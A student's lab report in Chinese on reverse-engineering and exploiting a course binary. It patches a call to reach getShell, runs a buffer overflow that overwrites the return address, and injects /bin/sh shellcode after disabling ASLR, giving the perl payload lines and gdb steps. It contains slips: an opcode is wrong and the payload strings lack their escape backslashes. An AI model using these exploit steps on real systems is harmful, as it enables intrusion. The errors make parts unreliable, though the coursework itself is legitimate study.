2019-2020-2 网络对抗技术 20175214 Exp1 PC平台逆向破解
一、知识储备
-
(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:90
- JNE:75
- JE:74
- CMP:38~3D
- JMP:
- JMP short:E8
- JMP near:E9
- JMP word:FF
- JMP far:EA
- 参考博客链接
-
(2)掌握反汇编器与十六进制编程器
- 反汇编指令
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section - 参考博客链接
- 反汇编指令
-
(3)十六进制编程器:是用来以16进制视图进行文本编辑的工具软件.
- Vim下以16进制查看, 修改文本
vim -b filename:使用vim查看文件
:%!xxd:将显示模式切换为16进制模式
:%!xxd -r:修改完成后返回正常格式 - 参考博客链接
- Vim下以16进制查看, 修改文本
二、实验任务
- 学习以两种方式运行指定代码段;
- 学习如何注入运行任何Shellcode。
三、实验步骤
1、直接修改程序机器指令从而运行指定代码段
-
首先,运行
objdump -d pwn1 | more对pwn1进行反汇编,结果如图:

-
找到
call 8048491,这个代码的意思是调用位于地址8048491处的foo函数; -
由于我们想要让它运行的是
getShell,可以从上图看到其地址为0804847d,根据计算0804847d-80484ba对应的补码可以得到c3ffffff; -
接下来就很简单了,只需修改调用处的代码,将
d7ffffff改为c3ffffff即可,具体操作为:-
先对pwn1进行备份,方便后面对比效果:
cp pwn1 pwn2
-
使用vim打开文件pwn2
vim pwn2
-
输入
:%!xxd进入十六进制模式 -
键入
/e8 d7(注意此处有空格),从而寻找指定代码段

-
将
d7修改为c3 -
切换为原格式
:%!xxd -r
-
保存退出
-
重新对pwn2进行反汇编,检查修改是否正确
objdump -d pwn2 | more
-
结果如图,可见修改成功

-
-
分别运行
pwn2和修改前的源代码pwn2会出现shell提示符,pwn1会对输入进行回显

2、BOF攻击
-
这里利用的是
foo函数的bof(Buffer over flow)漏洞,通过构造一个超出一个溢出的buf使得溢出部分可以覆盖堆栈上的返回地址,达到运行我们想要运行的代码段的目的。 -
首先还是先对
pwn1进行反汇编

-
由图可见,预留的buf长度是
1c(十六进制)即28个字节,再加上%ebp占用的4字节,也就是32个字节。 -
对猜想进行验证

-
由图可见,
eip被覆盖为0x39393939,39即为ASCII码的9,根据输入的buf,可知是第33至36位; -
因此,只需要将把这四个字符替换成想要运行的代码段的地址就可以了,即
getshell的内存地址0804847d; -
接下来再对其存储时的字节顺序进行测试:

-
由图可见,
eip的值为0x35343332,换算成十进制即5432,所以需要逆序输入 -
综上所述,最终确定构造的buf为
11111111111111111111111111111111x7dx84x04x08 -
由于没法通过键盘输入x7dx84x04x08这样的16进制值,所以通过使用
perl生成一个字符串文件。
perl -e 'print "11111111111111111111111111111111x7dx84x04x08x0a"' > input -
通过
xxd input来查看是否符合预期 -
然后使用管道符“|”将input的输入作为pwn3的输入
(cat input ;cat) | ./pwn3 -
过程和结果如图:

3、注入Shellcode并执行
- 使用
apt-get execstack安装execstack - 修改堆栈的设置
execstack -s pwn4//设置堆栈可执行
execstack -q pwn4//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //关闭后查看结果

- 先构造一个shellcode语句,并且把这个语句写入到文件“input_2”中(参考老师的博客中给出的shellcode):
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_2
-
其中
x4x3x2x1是用来暂时表示shellcode代码首地址的,接下来要寻找其首地址:-
1、首先打开两个终端,在终端1的输入
(cat input_2;cat) | ./pwn4 -
2、在终端2输入
ps -ef | grep pwn4查看进程,可见进程号为1278;

-
3、在终端2调用gdb,并输入
attach 1278定位pwn4进程,然后输入disassemble foo来查看注入内容的地址 -
4、在ret的地址处设置断点:
break *0x080484ae

-
5、返回终端1,回车,然后再切换到终端2,输入c继续执行;

-
6、使用
info -r rsp来查看栈顶指针,为0xffffd6dc。再输入x/16x 0xffffd6dc查看指针指向的内容;

-
7、可以从上图看到,shellcode的首地址就是
0xffffd6dc再加上4,即0xffffd6e0;
-
-
注意,先结束gdb,否则会出现段错误,然后返回终端1结束进程,并构造shellcode:
perl -e 'print "A" x 32;print "xe0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_3 -
进行注入
(cat input_3;cat) | ./pwn4,并验证。

四、问题回答
- 什么是漏洞?漏洞有什么危害?
- 我认为漏洞就是在计算机软件、硬件、协议等方面上存在的可以被利用的缺陷。
漏洞给了不法分子对计算机进行非法操作的可能,危害了用户隐私信息,可能造成经济财产损失。
五、心得体会
本次实验的第1、2步比较简单,主要是第3步花了很多时间,因为我第一次做到一半的时候做得太晚了,就关机准备第二天做,结果在第二天因为地址随机化没有关闭一直失败,重头再做才成功。这次实验让我学会了缓冲区溢出攻击的基本原理以及栈的构成原理,这也是我第一次接触到这样的实验,感觉很有趣。对于实验内容中的每一步我都尽可能地去理解,收获很大,也让我对于接下来的实验更感兴趣。在接下来的实验我会更加小心,不犯这次这样低级的错误。